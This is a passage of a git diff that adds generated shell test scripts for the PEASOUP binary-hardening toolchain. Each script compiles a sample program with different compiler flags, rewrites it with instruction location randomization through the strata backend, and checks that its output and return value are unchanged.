+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..7e47e6ecc6013b8d3571ce120bc6286e8941d6e1
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..c0dffecf8cb3a6eb95af750b1ca3238b18b7a15b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..5ee5aedc1bba11fd50be9ea78572703ad68f81b2
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..dc62827247e7da2f978201112defce8c7a189474
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..e1e7440cb044415e60af4362ee5e52e7668a688b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..4f0ae7352b8c93942d9520afa8aca582c914b278
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
